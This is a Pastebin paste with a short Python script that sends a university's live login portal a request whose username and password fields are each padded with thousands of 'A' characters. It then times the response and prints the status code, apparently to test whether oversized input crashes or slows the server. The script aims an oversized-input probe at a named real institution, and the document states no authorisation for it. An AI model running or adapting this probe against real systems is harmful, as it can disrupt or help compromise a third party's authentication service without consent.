Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests, time
- def SendPacket(displayCode=True):
- userName = ['A' for _ in range(int(7575/2))]
- userName = "".join(userName)
- Password = ['A' for _ in range(int(7575/2))]
- Password = "".join(userName)
- URL = "https://www.upf.edu/c/portal/login?p_l_id=1209435&redirect=%2Fintranet%2Fcampus-global"
- DATA = {"adAS_i18n_theme": "ca", "adAS_mode": "authn", "adAS_username": userName, "adAS_password": Password}
- t0 = time.time()
- x = requests.get(URL, DATA)
- tt = time.time() - t0
- if displayCode: print(f"Server Response: {x.status_code} | {round(tt, 3)} Seconds")
- return x.status_code, tt
- SendPacket()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement